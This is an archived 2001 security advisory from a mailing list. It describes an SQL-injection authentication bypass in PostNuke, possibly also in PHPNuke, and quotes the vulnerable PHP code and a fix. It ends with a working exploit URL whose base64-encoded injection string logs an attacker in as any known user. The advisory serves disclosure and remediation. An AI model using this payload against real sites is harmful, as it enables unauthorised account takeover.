[UNIX] Security Bug Found in PostNuke (and possibly PHPNuke)

From: support@securiteam.com
Date: 10/15/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] Security Bug Found in PostNuke (and possibly PHPNuke)
Message-Id: <20011014220034.EF809138C1@mail.der-keiler.de>
Date: Mon, 15 Oct 2001 00:00:34 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Security Bug Found in PostNuke (and possibly PHPNuke)
------------------------------------------------------------------------

SUMMARY

 <https://sourceforge.net/projects/post-nuke/> PostNuke is a PHPNuke fork.
It is a content management system written in PHP with a MySQL backend,
focusing on style, appearance, and functionality. A security vulnerability
in the product allows attackers that know an existing name of a username,
to logon by that name without requiring to know its password.

DETAILS

Vulnerable systems:
PostNuke version 0.62
PostNuke version 0.63
PostNuke version 0.64
PHPNuke version 5.2 (and earlier) contains the same code as PostNuke and
could be vulnerable.

Impact:
If an attacker knows the username and userid of a user on a PostNuke
system, it is possible to log in as the user without specifying a
password.
Userids or usernames are usually available from the Members list.
A fix is available.

Background:
The vulnerable code is located in article.php and mainfile2.php
(mainfile.php):

o article.php:

if ($save) {
    cookiedecode($user);
    mysql_query("update $pntable[users] set umode='$mode',
uorder='$order', thold='$thold' where uid='$cookie[0]'");
    getusrinfo($user);
    $info =
base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
    setcookie("user","$info",time()+$cookieusrtime);
}

o mainfile2.php (mainfile.php in PHPnuke and older versions of PostNuke):

function getusrinfo($user) {
    global $userinfo, $pntable;
    $user2 = base64_decode($user);
    $user3 = explode(":", $user2);
    $result = mysql_query("select uid, name, uname, email, femail, url,
user_avatar, user_icq, user_occ, user_from, user_intrest, user_sig,
user_viewemail, user_theme, user_aim, user_yim, user_msnm, pass, storynum,
umode, uorder, thold, noscore, bio, ublockon, ublock, theme, commentmax,
timezone_offset from $pntable[users] where uname='$user3[1]' and
pass='$user3[2]'");
    if(mysql_num_rows($result)==1) {
        $userinfo = mysql_fetch_array($result);
    } else {
        echo "<font class=\"pn-title\">"._MPROBLEM."</font><br>";
    }
    return $userinfo;
}

The bug is a result of the following issues:

o It is possible to invoke the if-clause in article.php by just specifying
save=1 in the URL.

o article.php blindly accepts the $user variable specified in the URL.

o There is no code in article.php that checks if cookiedecode() actually
worked and the password specified in $user is not checked against the
MySQL-database.

o article.php accepts the $cookieusrtime variable as specified in the URL.

o It is possible to modify the mysql_query-string in getusrinfo() by
escaping the "'" in $user[1] or $user[2]. Like this (without the
double-quotes):
   "' or uname='USERNAME".

getusrinfo() will then return anything with uname=USERNAME, even if the
password doesn't match the one in $user. The full query-string sent to
MySQL will end up looking like this:

select uid, name, uname, email, femail, url, user_avatar, user_icq,
user_occ, user_from, user_intrest, user_sig, user_viewemail, user_theme,
user_aim, user_yim, user_msnm, pass, storynum, umode, uorder, thold,
noscore,
bio, ublockon, ublock, theme, commentmax, timezone_offset from
$prefix"._users."
where uname='USERNAME' and pass='' or uname='USERNAME'

To produce the query above the $user variable should contain a
base64-encoded version of:
USERID:USERNAME:' or uname 'USERNAME' (base64_encoded)

o When the userinfo is received from getusrinfo() by article.php, it
blindly sets a "user="-cookie containing the encrypted password.

Fix:
Thanks to Sascha Endlicher and John Cox for comming up with the fix below.

In article.php, change the offending code to:

if (($save) && (is_user($user))) {
    cookiedecode($user);
    mysql_query("update $pntable[users] set umode='$mode',
uorder='$order', thold='$thold' where uid='$cookie[0]'");
    getusrinfo($user);
    $info =
base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
    setcookie("user","$info",time()+$cookieusrtime);
}

This may work in PHPNuke as well.

A new version of article.php for PostNuke is available from
<https://sourceforge.net/project/showfiles.php?group_id=27927>
https://sourceforge.net/project/showfiles.php?group_id=27927 under Fixes.

Exploit:
If an attacker requests a URL consisting of:
article.php?save=1&
sid=20& [any sid will do..]
cookieusrtime=160000& [to get a decent expire-date on the cookie]
user=USERID:USERNAME:' or uname='USERNAME [base64_encoded]

And goes back to the main page, the requestor will be logged in as
USERNAME.

ADDITIONAL INFORMATION

The information has been provided by <mailto:lists@skjegstad.com> Magnus
Skjegstad.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages